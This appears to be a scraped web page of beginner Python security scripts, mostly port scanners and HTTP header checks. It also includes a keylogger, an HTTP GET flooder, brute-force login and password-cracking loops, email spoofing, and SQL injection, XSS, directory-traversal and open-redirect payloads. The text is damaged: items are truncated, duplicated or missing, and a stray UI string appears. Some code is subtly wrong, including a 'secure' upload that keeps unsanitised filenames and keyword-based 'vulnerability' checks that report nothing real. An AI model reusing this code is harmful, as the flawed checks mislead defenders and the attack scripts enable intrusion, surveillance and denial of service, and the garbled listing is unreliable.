Python Scripts For Beginners: Security And Ethical Hacking
Collection of 100 Python Scripts For Beginners related to Security And Ethical Hacking, each designed to help with fundamental tasks and provide useful examples.
100 Python Scripts For Beginners: Security And Ethical Hacking
1. Port Scanner
import socket
def scan_ports(host, ports):
open_ports = []
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
if result == 0:
open_ports.append(port)
sock.close()
return open_ports
host = '127.0.0.1'
ports = [22, 80, 443, 8080]
print(f"Open ports on {host}: {scan_ports(host, ports)}")
Scans specified ports on a given host to identify which ones are open.
2. Basic Network Scanner
import scapy.all as scapy
def scan(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
for element in answered_list:
print(f"IP: {element[1].psrc} MAC: {element[1].hwsrc}")
scan("192.168.1.1/24")
Scans a network range for active devices and their IP and MAC addresses.
3. DNS Lookup
import dns.resolver
def dns_lookup(domain):
result = dns.resolver.resolve(domain, 'A')
for ipval in result:
print(f'{domain} has address {ipval.to_text()}')
dns_lookup('example.com')
Performs a DNS lookup to find the IP address associated with a domain.
4. HTTP Header Checker
import requests
def check_headers(url):
response = requests.get(url)
headers = response.headers
for header, value in headers.items():
print(f"{header}: {value}")
check_headers('https://example.com')
Fetches and displays HTTP headers from a specified URL.
5. Password Strength Checker
import re
def check_password_strength(password):
if len(password) < 8:
return "Password too short"
if not re.search("[a-z]", password):
return "Password must contain a lowercase letter"
if not re.search("[A-Z]", password):
return "Password must contain an uppercase letter"
if not re.search("[0-9]", password):
return "Password must contain a digit"
if not re.search("[@#$%^&+=]", password):
return "Password must contain a special character"
return "Password is strong"
print(check_password_strength("P@ssw0rd"))
Checks the strength of a password based on length and character requirements.
6. Simple Encryption and Decryption
from cryptography.fernet import Fernet
def generate_key():
return Fernet.generate_key()
def encrypt_message(key, message):
f = Fernet(key)
encrypted_message = f.encrypt(message.encode())
return encrypted_message
def decrypt_message(key, encrypted_message):
f = Fernet(key)
decrypted_message = f.decrypt(encrypted_message).decode()
return decrypted_message
key = generate_key()
encrypted = encrypt_message(key, 'Secret message')
print(f"Encrypted: {encrypted}")
print(f"Decrypted: {decrypt_message(key, encrypted)}")
Demonstrates basic encryption and decryption using the cryptography
library.
7. SQL Injection Test Script
import requests
def test_sql_injection(url):
payload = "' OR '1'='1"
response = requests.get(url + payload)
if "sql" in response.text.lower():
print("Potential SQL Injection vulnerability found.")
else:
print("No SQL Injection vulnerability detected.")
test_sql_injection('http://example.com/page?id=')
Tests a URL for basic SQL injection vulnerabilities.
8. XSS Attack Test
import requests
def test_xss(url):
payload = "<script>alert('XSS')</script>"
response = requests.get(url + payload)
if payload in response.text:
print("Potential XSS vulnerability found.")
else:
print("No XSS vulnerability detected.")
test_xss('http://example.com/search?q=')
Checks if a URL is vulnerable to cross-site scripting (XSS) by injecting a script payload.
9. SSL/TLS Certificate Checker
import ssl
import socket
def get_cert_expiry_date(hostname):
port = 443
cert = ssl.get_server_certificate((hostname, port))
x509 = ssl.PEM_cert_to_DER_cert(cert)
return ssl.cert_time_to_seconds(ssl._ssl._test_decode_cert(cert)['notAfter'])
print(get_cert_expiry_date('example.com'))
Retrieves and displays the expiry date of an SSL/TLS certificate for a given hostname.
10. Check for Open Redirects
import requests
def check_open_redirect(url):
payload = "http://evil.com"
response = requests.get(url + payload, allow_redirects=False)
if response.status_code == 302 and "Location" in response.headers:
if payload in response.headers["Location"]:
print("Potential open redirect vulnerability found.")
else:
print("No open redirect vulnerability detected.")
else:
print("No open redirect vulnerability detected.")
check_open_redirect('http://example.com/redirect?url=')
Tests a URL for open redirect vulnerabilities by checking redirection behavior.
11. Directory Brute Forcer
import requests
def brute_force_directories(url, wordlist):
with open(wordlist, 'r') as file:
directories = file.read().splitlines()
for directory in directories:
full_url = url + '/' + directory
response = requests.get(full_url)
if response.status_code == 200:
print(f"Found directory: {full_url}")
brute_force_directories('http://example.com', 'directories.txt')
Attempts to discover hidden directories by making requests using a wordlist of directory names.
12. Basic Keylogger
from pynput import keyboard
def on_press(key):
try:
with open('keylog.txt', 'a') as file:
file.write(f'{key.char}')
except AttributeError:
with open('keylog.txt', 'a') as file:
file.write(f'{key}')
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Logs keystrokes to a file. Use responsibly and ensure you have permission before monitoring inputs.
13. IP Geolocation
import requests
def get_ip_geolocation(ip):
response = requests.get(f'https://ipinfo.io/{ip}/json')
data = response.json()
print(f"IP: {data['ip']}")
print(f"Location: {data['city']}, {data['region']}, {data['country']}")
get_ip_geolocation('8.8.8.8')
Retrieves geolocation information for a given IP address.
14. Network Packet Sniffer
from scapy.all import sniff
def packet_callback(packet):
print(packet.summary())
sniff(prn=packet_callback, count=10)
Captures and displays network packets using Scapy.
15. Password Cracker with Hashes
import hashlib
def crack_password(hash, wordlist):
with open(wordlist, 'r') as file:
passwords = file.read().splitlines()
for password in passwords:
if hashlib.sha256(password.encode()).hexdigest() == hash:
return password
return None
hash_to_crack = hashlib.sha256('password123'.encode()).hexdigest()
print(crack_password(hash_to_crack, 'passwords.txt'))
Attempts to crack a hashed password using a wordlist.
16. Check for Common Vulnerabilities
import requests
def check_vulnerabilities(url):
vulnerabilities = [
'/admin',
'/login',
'/backup',
'/config',
]
for vuln in vulnerabilities:
response = requests.get(url + vuln)
if response.status_code == 200:
print(f"Vulnerability found: {url + vuln}")
check_vulnerabilities('http://example.com')
Checks for the presence of common vulnerable endpoints.
17. Detect SSL/TLS Vulnerabilities
import requests
import ssl
def check_tls_version(url):
try:
response = requests.get(url, verify=False)
if response.status_code == 200:
print("Connection successful.")
else:
print("Connection failed.")
except ssl.SSLError as e:
print(f"SSL/TLS Error: {e}")
check_tls_version('https://example.com')
Checks for SSL/TLS connection issues by making a request to the specified URL.
18. Brute Force Login
import requests
def brute_force_login(url, usernames, passwords):
for username in usernames:
for password in passwords:
response = requests.post(url, data={'username': username, 'password': password})
19. Detect Cross-Site Request Forgery (CSRF)
pythonCopier le codeimport requests
def test_csrf(url):
payload = {'username': 'test', 'password': 'password'}
response = requests.post(url, data=payload)
if 'csrf' in response.text:
print("Potential CSRF vulnerability found.")
else:
print("No CSRF vulnerability detected.")
test_csrf('http://example.com/login')
Checks for Cross-Site Request Forgery (CSRF) vulnerabilities by testing if the request requires a CSRF token.
20. Simple API Rate Limiter
from flask import Flask, request
import time
app = Flask(__name__)
requests_log = {}
@app.route('/api')
def api():
ip = request.remote_addr
now = time.time()
if ip in requests_log and now - requests_log[ip] < 60:
return 'Rate limit exceeded', 429
requests_log[ip] = now
return 'API response'
if __name__ == "__main__":
app.run(debug=True)
Implements a basic rate limiter for API requests based on IP address.
21. Detect Open Ports with Nmap
import nmap
def scan_ports(ip):
nm = nmap.PortScanner()
nm.scan(ip, arguments='-T4')
print(nm.csv())
scan_ports('127.0.0.1')
Uses Nmap to scan open ports on a given IP address.
22. Check for HTTP Security Headers
import requests
def check_security_headers(url):
response = requests.get(url)
headers = response.headers
required_headers = ['X-Content-Type-Options', 'X-Frame-Options', 'X-XSS-Protection']
for header in required_headers:
if header not in headers:
print(f"Missing security header: {header}")
check_security_headers('https://example.com')
Checks if essential HTTP security headers are present in the response.
23. Detect HTTP Method Vulnerabilities
import requests
def check_http_methods(url):
methods = ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS']
for method in methods:
response = requests.request(method, url)
if response.status_code == 200:
print(f"Allowed method: {method}")
else:
print(f"Method {method} not allowed or not implemented.")
check_http_methods('http://example.com')
Checks which HTTP methods are allowed on a specified URL to detect potential vulnerabilities.
24. Check for Directory Traversal
import requests
def test_directory_traversal(url):
payloads = ['../../etc/passwd', '../../windows/win.ini']
for payload in payloads:
response = requests.get(url + payload)
if response.status_code == 200:
print(f"Directory traversal possible with payload: {payload}")
test_directory_traversal('http://example.com/file?path=')
Tests for directory traversal vulnerabilities by trying to access files outside the intended directory.
25. Secure Password Storage
import hashlib
import os
import base64
def hash_password(password):
salt = base64.b64encode(os.urandom(16)).decode('utf-8')
hash_obj = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt.encode('utf-8'), 100000)
hashed_password = base64.b64encode(hash_obj).decode('utf-8')
return f"{salt}${hashed_password}"
def verify_password(stored_password, provided_password):
salt, hashed_password = stored_password.split('$')
hash_obj = hashlib.pbkdf2_hmac('sha256', provided_password.encode('utf-8'), salt.encode('utf-8'), 100000)
return base64.b64encode(hash_obj).decode('utf-8') == hashed_password
stored = hash_password('password123')
print(f"Password verification: {verify_password(stored, 'password123')}")
Demonstrates secure password hashing and verification using salts and PBKDF2.
26. Scan for SQL Injection
import requests
def scan_sql_injection(url):
payloads = ["' OR '1'='1", "' OR '1'='1' --", '" OR "1"="1']
for payload in payloads:
response = requests.get(url + payload)
if "sql" in response.text.lower():
print(f"Possible SQL Injection vulnerability found with payload: {payload}")
scan_sql_injection('http://example.com/page?id=')
Tests for SQL injection vulnerabilities by injecting common SQL payloads into URLs.
27. Check for Clickjacking Protection
import requests
def check_clickjacking(url):
response = requests.get(url)
headers = response.headers
if 'X-Frame-Options' in headers:
print(f"Clickjacking protection present: {headers['X-Frame-Options']}")
else:
print("Clickjacking protection missing.")
check_clickjacking('https://example.com')
Checks for clickjacking protection by looking for the X-Frame-Options
header.
28. Use Shodan API to Search for Devices
import requests
def search_shodan(api_key, query):
url = f'https://api.shodan.io/shodan/host/search?key={api_key}&query={query}'
response = requests.get(url)
print(response.json())
search_shodan('YOUR_SHODAN_API_KEY', 'apache')
Searches for devices using the Shodan API based on a specified query.
29. Detect HTTP Security Misconfigurations
import requests
def check_http_security_misconfigurations(url):
response = requests.get(url)
if "Server" in response.headers:
print(f"Server header found: {response.headers['Server']}")
if "X-Powered-By" in response.headers:
print(f"X-Powered-By header found: {response.headers['X-Powered-By']}")
check_http_security_misconfigurations('https://example.com')
Checks for common HTTP security misconfigurations by inspecting response headers.
30. Simple Cross-Site Scripting (XSS) Test
import requests
def test_xss(url):
payload = "<script>alert('XSS')</script>"
response = requests.get(url + payload)
if payload in response.text:
print("XSS vulnerability found with payload:", payload)
else:
print("No XSS vulnerability detected.")
test_xss('http://example.com/search?q=')
Tests a URL for XSS vulnerabilities by injecting a script payload.
31. HTTP Basic Authentication Test
import requests
from requests.auth import HTTPBasicAuth
def test_basic_auth(url, username, password):
response = requests.get(url, auth=HTTPBasicAuth(username, password))
if response.status_code == 200:
print("Basic authentication successful.")
else:
print("Basic authentication failed.")
test_basic_auth('http://example.com/secure', 'admin', 'password')
Tests HTTP Basic Authentication by making a request with specified credentials.
32. Enumerate HTTP Methods with Scapy
from scapy.all import *
def enumerate_http_methods(ip):
def http_request(method, url):
return IP(dst=ip)/TCP(dport=80)/Raw(load=f"{method} {url} HTTP/1.1\r\nHost: {ip}\r\n\r\n")
for method in ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']:
pkt = http_request(method, '/')
response = sr1(pkt, timeout=2)
if response:
print(f"Method {method} returned status code: {response[TCP].payload.decode().split()[1]}")
enumerate_http_methods('192.168.1.1')
Enumerates allowed HTTP methods by sending requests with different methods using Scapy.
33. Find Open Ports with Scapy
from scapy.all import *
def scan_ports(ip, ports):
for port in ports:
pkt = IP(dst=ip)/TCP(dport=port, flags="S")
response = sr1(pkt, timeout=1, verbose=False)
if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
print(f"Port {port} is open.")
scan_ports('192.168.1.1', [22, 80, 443, 8080])
Scans specified ports on a given IP address to determine which are open using Scapy.
34. Simple Ping Sweep
import os
def ping_sweep(network):
for ip in range(1, 255):
address = f"{network}.{ip}"
response = os.system(f"ping -c 1 {address}")
if response == 0:
print(f"{address} is up.")
else:
print(f"{address} is down.")
ping_sweep('192.168.1')
Pings a range of IP addresses to determine which are active.
35. Identify Open Services
import socket
def identify_services(host, ports):
services = {22: 'SSH', 80: 'HTTP', 443: 'HTTPS', 3306: 'MySQL'}
for port in ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
sock.connect((host, port))
print(f"Port {port} is open, likely service: {services.get(port, 'Unknown')}")
sock.close()
except (socket.timeout, socket.error):
continue
identify_services('192.168.1.1', [22, 80, 443, 3306])
Identifies open services on specific ports by checking common service port numbers.
36. Simple Firewall Script
import os
def set_firewall_rule(rule):
os.system(f"iptables {rule}")
set_firewall_rule("-A INPUT -p tcp --dport 22 -j ACCEPT")
Adds a firewall rule using iptables
to allow traffic on a specified port.
37. Exploit Checker
import requests
def check_exploit(url, payload):
response = requests.get(url + payload)
if "exploit" in response.text.lower():
print(f"Potential exploit detected with payload: {payload}")
check_exploit('http://example.com/vulnerable?input=', 'some_exploit_payload')
Checks for known exploits by appending payloads to URLs.
38. Network Traffic Analyzer
import scapy.all as scapy
def analyze_traffic(interface):
def packet_callback(packet):
print(packet.summary())
scapy.sniff(iface=interface, prn=packet_callback, count=10)
analyze_traffic('eth0')
Captures and analyzes network traffic on a specified network interface.
39. Secure File Transfer
from cryptography.fernet import Fernet
def generate_key():
return Fernet.generate_key()
def encrypt_file(key, filename):
fernet = Fernet(key)
with open(filename, 'rb') as file:
file_data = file.read()
encrypted_data = fernet.encrypt(file_data)
with open(filename + '.enc', 'wb') as file:
file.write(encrypted_data)
key = generate_key()
encrypt_file(key, 'example.txt')
Encrypts a file using the cryptography
library to secure file transfers.
40. Detect Weak SSL/TLS Configurations
import requests
import ssl
def check_ssl_tls(url):
try:
response = requests.get(url, verify=False)
print(f"Response from {url}: {response.status_code}")
except ssl.SSLError as e:
print(f"SSL/TLS Error: {e}")
check_ssl_tls('https://example.com')
Checks for weak SSL/TLS configurations by making an HTTPS request and handling SSL errors.
41. Simple UDP Port Scanner
import socket
def udp_scan(host, ports):
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1)
try:
sock.sendto(b'', (host, port))
sock.recvfrom(1024)
print(f"UDP Port {port} is open.")
except socket.error:
pass
finally:
sock.close()
udp_scan('192.168.1.1', [53, 67, 123])
Scans for open UDP ports by sending empty packets and waiting for responses.
42. Simple HTTP Proxy
import socket
def proxy_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('localhost', 8080))
server_socket.listen(5)
print("Proxy server running...")
while True:
client_socket, addr = server_socket.accept()
request = client_socket.recv(1024)
print(f"Request received from {addr}")
# Here, you would forward the request to the intended server and relay the response back to the client.
proxy_server()
Sets up a basic HTTP proxy server that listens for incoming requests.
43. Detect HTTP Security Misconfigurations
import requests
def check_http_misconfigurations(url):
response = requests.get(url)
if "Server" in response.headers:
print(f"Server header detected: {response.headers['Server']}")
if "X-Powered-By" in response.headers:
print(f"X-Powered-By header detected: {response.headers['X-Powered-By']}")
check_http_misconfigurations('http://example.com')
Checks for HTTP security misconfigurations by examining response headers for sensitive information.
44. Simple Directory Enumeration
import requests
def enumerate_directories(url, wordlist):
with open(wordlist, 'r') as file:
directories = file.read().splitlines()
for directory in directories:
test_url = f"{url}/{directory}"
response = requests.get(test_url)
if response.status_code == 200:
print(f"Found directory: {test_url}")
enumerate_directories('http://example.com', 'wordlist.txt')
Attempts to find hidden directories by testing a list of common directory names.
45. Check for HTTP Security Headers
import requests
def check_security_headers(url):
response = requests.get(url)
headers = response.headers
for header in ['X-Content-Type-Options', 'X-Frame-Options', 'X-XSS-Protection']:
if header in headers:
print(f"{header}: {headers[header]}")
else:
print(f"{header} is missing.")
check_security_headers('https://example.com')
Checks for the presence of essential HTTP security headers.
46. Detect Cross-Site Scripting (XSS)
import requests
def test_xss(url):
payload = "<script>alert('XSS')</script>"
response = requests.get(url + payload)
if payload in response.text:
print(f"XSS vulnerability found with payload: {payload}")
else:
print("No XSS vulnerability detected.")
test_xss('http://example.com/search?q=')
Tests for XSS vulnerabilities by injecting script payloads into URLs.
47. Simple Port Forwarding
import socket
def port_forward(src_port, dest_ip, dest_port):
src_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
src_socket.bind(('0.0.0.0', src_port))
src_socket.listen(5)
print(f"Listening on port {src_port}")
while True:
client_socket, addr = src_socket.accept()
dest_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest_socket.connect((dest_ip, dest_port))
data = client_socket.recv(1024)
dest_socket.sendall(data)
response = dest_socket.recv(1024)
client_socket.sendall(response)
client_socket.close()
dest_socket.close()
port_forward(8080, '192.168.1.1', 80)
Forwards incoming connections from a source port to a destination IP and port.
48. Detect Vulnerable Software Versions
import requests
def check_software_version(url):
response = requests.get(url)
headers = response.headers
if "Server" in headers:
print(f"Server: {headers['Server']}")
if "X-Powered-By" in headers:
print(f"X-Powered-By: {headers['X-Powered-By']}")
check_software_version('http://example.com')
Checks HTTP response headers for software version information that might reveal vulnerabilities.
49. Secure File Upload
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
file.save(os.path.join('/secure/upload/path', file.filename))
return 'File uploaded successfully'
if __name__ == '__main__':
app.run(debug=True)
Sets up a secure file upload endpoint with basic validation.
50. Detect Unencrypted Sensitive Information
import requests
def check_sensitive_info(url):
response = requests.get(url)
if "password" in response.text.lower():
print("Sensitive information detected in response.")
else:
print("No sensitive information detected.")
check_sensitive_info('http://example.com/data')
Checks for the presence of sensitive information like passwords in the HTTP response.
50. Detect Unencrypted Sensitive Information
import requests
def check_sensitive_info(url):
response = requests.get(url)
if "password" in response.text.lower():
print("Sensitive information detected in response.")
else:
print("No sensitive information detected.")
check_sensitive_info('http://example.com/data')
Checks for the presence of sensitive information like passwords in the HTTP response.
51. Network Packet Sniffer
from scapy.all import *
def packet_sniffer(interface):
def packet_callback(packet):
print(packet.summary())
sniff(iface=interface, prn=packet_callback, store=0)
packet_sniffer('eth0')
Captures and prints network packets on a specified interface using Scapy.
52. Simple Port Scanner
import socket
def simple_port_scanner(host, ports):
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
if result == 0:
print(f"Port {port} is open")
sock.close()
simple_port_scanner('192.168.1.1', [22, 80, 443, 8080])
Scans a list of ports on a specified host to check which are open.
53. Detect Directory Listing
import requests
def check_directory_listing(url):
response = requests.get(url)
if "Index of" in response.text:
print(f"Directory listing is enabled at: {url}")
else:
print("Directory listing is not enabled.")
check_directory_listing('http://example.com/')
Checks if directory listing is enabled on a specified URL.
54. Simple SQL Injection Test
import requests
def test_sql_injection(url):
payload = "' OR '1'='1"
response = requests.get(url + payload)
if "error" in response.text.lower():
print("Potential SQL Injection vulnerability found.")
else:
print("No SQL Injection vulnerability detected.")
test_sql_injection('http://example.com/page?id=')
Tests for SQL injection vulnerabilities by injecting common payloads into query parameters.
55. Enumerate Subdomains
import requests
def find_subdomains(domain, subdomains):
for sub in subdomains:
url = f"http://{sub}.{domain}"
try:
response = requests.get(url)
if response.status_code == 200:
print(f"Found subdomain: {url}")
except requests.RequestException:
continue
find_subdomains('example.com', ['www', 'mail', 'blog'])
Attempts to discover subdomains of a domain by checking a list of common subdomain names.
56. Detect Vulnerable HTTP Methods
import requests
def check_http_methods(url):
methods = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']
for method in methods:
response = requests.request(method, url)
if response.status_code < 400:
print(f"Allowed HTTP method: {method}")
check_http_methods('http://example.com')
Detects which HTTP methods are allowed on a given URL to find potential vulnerabilities.
57. Password Cracking Simulation
import itertools
def password_cracker(password, charset, length):
for guess in itertools.product(charset, repeat=length):
guess = ''.join(guess)
if guess == password:
print(f"Password found: {guess}")
return
print("Password not found.")
password_cracker('abc', 'abc', 3)
Simulates a brute-force attack by generating and testing all possible combinations of a given character set and length.
58. Detect TLS Version
import ssl
import socket
def check_tls_version(host, port):
context = ssl.create_default_context()
with socket.create_connection((host, port)) as sock:
with context.wrap_socket(sock, server_hostname=host) as ssock:
tls_version = ssock.version()
print(f"TLS version used: {tls_version}")
check_tls_version('example.com', 443)
Checks the TLS version used by a server by creating an SSL connection.
59. Network Scanning with Nmap
import nmap
def scan_network(ip_range):
nm = nmap.PortScanner()
nm.scan(hosts=ip_range, arguments='-T4')
print(nm.csv())
scan_network('192.168.1.0/24')
Uses Nmap to scan a range of IP addresses for open ports.
60. Simple Web Crawler
import requests
from bs4 import BeautifulSoup
def crawl(url):
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
for link in soup.find_all('a'):
print(link.get('href'))
crawl('http://example.com')
Basic web crawler that extracts and prints all hyperlinks from a given URL.
61. Detect HTTP Response Splitting
import requests
def test_http_response_splitting(url):
payload = 'test%0D%0ASet-Cookie:%20sessionid=malicious'
response = requests.get(url + payload)
if 'Set-Cookie' in response.headers:
print("Potential HTTP Response Splitting vulnerability found.")
else:
print("No HTTP Response Splitting vulnerability detected.")
test_http_response_splitting('http://example.com/page?param=')
Tests for HTTP Response Splitting vulnerabilities by injecting payloads into URL parameters.
62. Detect Weak Cipher Suites
import ssl
import socket
def check_cipher_suites(host, port):
context = ssl.create_default_context()
with socket.create_connection((host, port)) as sock:
with context.wrap_socket(sock, server_hostname=host) as ssock:
cipher = ssock.cipher()
print(f"Cipher suite used: {cipher}")
check_cipher_suites('example.com', 443)
Checks which cipher suites are supported by a server.
63. Password Hashing with Argon2
from argon2 import PasswordHasher
ph = PasswordHasher()
def hash_password(password):
hashed = ph.hash(password)
print(f"Hashed password: {hashed}")
def verify_password(hashed, password):
try:
ph.verify(hashed, password)
print("Password verification successful.")
except:
print("Password verification failed.")
hashed = ph.hash('securepassword')
verify_password(hashed, 'securepassword')
Hashes and verifies passwords using the Argon2 hashing algorithm.
64. Scan for Web Application Firewalls
import requests
def scan_waf(url):
headers = {'User-Agent': 'Mozilla/5.0'}
response = requests.get(url, headers=headers)
if 'WAF' in response.text:
print("Possible WAF detected.")
else:
print("No WAF detected.")
scan_waf('http://example.com')
Checks for the presence of a Web Application Firewall (WAF) by looking for specific patterns in the HTTP response.
65. Detect HTTP Flooding
import requests
import time
def detect_http_flood(url, duration=60):
start_time = time.time()
while time.time() - start_time < duration:
response = requests.get(url)
print(f"Response code: {response.status_code}")
time.sleep(1)
detect_http_flood('http://example.com')
Monitors for signs of HTTP flooding by making repeated requests to a URL.
66. SQL Injection with SQLMap
import subprocess
def run_sqlmap(url):
command = f"sqlmap -u {url} --batch"
result = subprocess.run(command, shell=True, capture_output=True)
print(result.stdout.decode())
run_sqlmap('http://example.com/page?id=1')
Automates SQL injection testing using SQLMap.
67. Simple Port Forwarding with socket
import socket
def port_forward(src_port, dest_ip, dest_port):
src_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
src_sock.bind(('0.0.0.0', src_port))
src_sock.listen(5)
print(f"Listening on port {src_port}")
while True:
client_sock, _ = src_sock.accept()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as dest_sock:
dest_sock.connect((dest_ip, dest_port))
dest_sock.sendall(client_sock.recv(1024))
client_sock.sendall(dest_sock.recv(1024))
client_sock.close()
port_forward(8080, '192.168.1.1', 80)
Forwards network traffic from one port to another.
68. Detect HTTP Security Vulnerabilities
import requests
def check_http_vulnerabilities(url):
response = requests.get(url)
if 'X-Permitted-Cross-Domain-Policies' not in response.headers:
print("Missing X-Permitted-Cross-Domain-Policies header.")
if 'X-Content-Type-Options' not in response.headers:
print("Missing X-Content-Type-Options header.")
check_http_vulnerabilities('https://example.com')
Checks for missing HTTP security headers that could indicate vulnerabilities.
69. Detect Open Redirect Vulnerabilities
import requests
def check_open_redirect(url):
payload = 'http://evil.com'
response = requests.get(url + payload)
if response.url != url:
print("Open redirect vulnerability detected.")
else:
print("No open redirect vulnerability detected.")
check_open_redirect('http://example.com/redirect?url=')
Tests for open redirect vulnerabilities by appending a potentially malicious URL to parameters.
70. Simple DNS Lookup
import dns.resolver
def dns_lookup(domain):
result = dns.resolver.resolve(domain, 'A')
for ipval in result:
print(f'{domain} has IP address {ipval.to_text()}')
dns_lookup('example.com')
Performs a DNS lookup to resolve a domain name to its IP address.
71. Monitor for Suspicious Network Traffic
import scapy.all as scapy
def monitor_suspicious_traffic(interface):
def packet_callback(packet):
if packet.haslayer(scapy.IP) and packet[scapy.IP].src.startswith('192.168.'):
print(f"Suspicious packet from {packet[scapy.IP].src}")
scapy.sniff(iface=interface, prn=packet_callback, count=10)
monitor_suspicious_traffic('eth0')
Monitors network traffic for suspicious activity based on IP addresses.
72. Detect Unsecured HTTP Endpoints
import requests
def check_unsecured_endpoints(url):
response = requests.get(url)
if response.status_code == 200 and "secure" not in response.text.lower():
print("Unsecured HTTP endpoint detected.")
else:
print("Endpoint is secure.")
check_unsecured_endpoints('http://example.com')
Detects unsecured HTTP endpoints by checking if the response contains security-related keywords.
73. Simple Email Spoofing Test
import smtplib
from email.mime.text import MIMEText
def test_email_spoofing(sender, recipient):
msg = MIMEText('This is a test email.')
msg['Subject'] = 'Test Email'
msg['From'] = sender
msg['To'] = recipient
with smtplib.SMTP('localhost') as server:
server.sendmail(sender, recipient, msg.as_string())
test_email_spoofing('test@example.com', 'recipient@example.com')
Simulates email spoofing by sending an email with a specified sender address.
74. Simple Keylogger
from pynput import keyboard
def on_press(key):
try:
print(f'{key.char}', end='')
except AttributeError:
print(f'{key}', end='')
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Logs keystrokes using the pynput
library.
75. Network Packet Injection
from scapy.all import *
def inject_packet(interface):
packet = IP(dst="192.168.1.1")/ICMP()
send(packet, iface=interface)
inject_packet('eth0')
Injects network packets into a specified network interface.
76. Detect Exposed Admin Interfaces
import requests
def find_admin_interface(urls):
for url in urls:
response = requests.get(url)
if response.status_code == 200:
print(f"Admin interface found at: {url}")
find_admin_interface(['http://example.com/admin', 'http://example.com/login'])
Scans a list of URLs for exposed admin interfaces.
77. Check for Default Credentials
import requests
def test_default_credentials(url, username, password):
response = requests.post(url, data={'username': username, 'password': password})
if "success" in response.text.lower():
print("Default credentials are working.")
else:
print("Default credentials are not working.")
test_default_credentials('http://example.com/login', 'admin', 'admin')
Tests for default credentials by sending common username and password combinations.
78. Detect Sensitive File Exposure
import requests
def check_sensitive_files(urls):
for url in urls:
response = requests.get(url)
if response.status_code == 200:
print(f"Sensitive file found at: {url}")
check_sensitive_files(['http://example.com/.env', 'http://example.com/.git/config'])
Checks for exposure of sensitive files by attempting to access known file paths.
79. Simple Network Discovery
import scapy.all as scapy
def network_discovery(ip_range):
def callback(packet):
if packet.haslayer(scapy.IP):
print(f"IP: {packet[scapy.IP].src}")
scapy.arping(ip_range, timeout=1, verbose=False, prn=callback)
network_discovery('192.168.1.0/24')
Performs network discovery by sending ARP requests to a range of IP addresses.
80. Basic HTTP Header Analysis
import requests
def analyze_http_headers(url):
response = requests.get(url)
headers = response.headers
for header, value in headers.items():
print(f"{header}: {value}")
analyze_http_headers('http://example.com')
Analyzes HTTP response headers and prints them.
81. Simple HTTP Header Manipulation
import requests
def manipulate_http_headers(url):
headers = {'X-Custom-Header': 'test'}
response = requests.get(url, headers=headers)
print(f"Response code: {response.status_code}")
print(f"Custom Header Value: {response.headers.get('X-Custom-Header')}")
manipulate_http_headers('http://example.com')
Manipulates HTTP request headers to test how a server responds to custom headers.
82. Basic Cookie Analysis
import requests
def analyze_cookies(url):
response = requests.get(url)
cookies = response.cookies
for cookie in cookies:
print(f"Cookie name: {cookie.name}, value: {cookie.value}")
analyze_cookies('http://example.com')
Analyzes and prints the cookies received from a specified URL.
83. Detect Unsecured API Endpoints
import requests
def check_unsecured_api(url):
response = requests.get(url)
if response.status_code == 200 and "secure" not in response.text.lower():
print("Unsecured API endpoint detected.")
else:
print("API endpoint is secure.")
check_unsecured_api('http://example.com/api')
Checks API endpoints for security by inspecting the response for security-related keywords.
84. Analyze HTTP Response Time
import requests
import time
def measure_response_time(url):
start_time = time.time()
response = requests.get(url)
end_time = time.time()
print(f"Response time: {end_time - start_time} seconds")
measure_response_time('http://example.com')
Measures and prints the time it takes to receive a response from a specified URL.
85. HTTP GET Flooder
import requests
import threading
def flood_url(url, count):
def send_request():
for _ in range(count):
response = requests.get(url)
print(f"Response code: {response.status_code}")
threads = []
for _ in range(10): # Number of threads
thread = threading.Thread(target=send_request)
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
flood_url('http://example.com', 10)
Simulates a flood of HTTP GET requests to a URL using multiple threads.
86. Basic HTTP Request Logger
import requests
import logging
logging.basicConfig(filename='http_requests.log', level=logging.INFO)
def log_http_request(url):
response = requests.get(url)
logging.info(f"URL: {url}, Status Code: {response.status_code}")
log_http_request('http://example.com')
Logs HTTP requests and their status codes to a file.
87. Simple URL Encoder
import urllib.parse
def encode_url(url):
encoded_url = urllib.parse.quote(url)
print(f"Encoded URL: {encoded_url}")
encode_url('http://example.com/test?param=value')
Encodes a URL to make it safe for transmission over HTTP.
88. Detect HTTP Security Headers
import requests
def check_security_headers(url):
response = requests.get(url)
headers = response.headers
required_headers = ['X-Frame-Options', 'X-XSS-Protection', 'Strict-Transport-Security']
for header in required_headers:
if header in headers:
print(f"{header} is present.")
else:
print(f"{header} is missing.")
check_security_headers('http://example.com')
Checks if essential security headers are present in the HTTP response.
89. HTTP Response Status Code Checker
import requests
def check_status_code(url):
response = requests.get(url)
print(f"Status Code: {response.status_code}")
check_status_code('http://example.com')
Checks and prints the HTTP status code returned by a URL.
91. Basic Port Scanner
import socket
def scan_ports(host, port_list):
for port in port_list:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
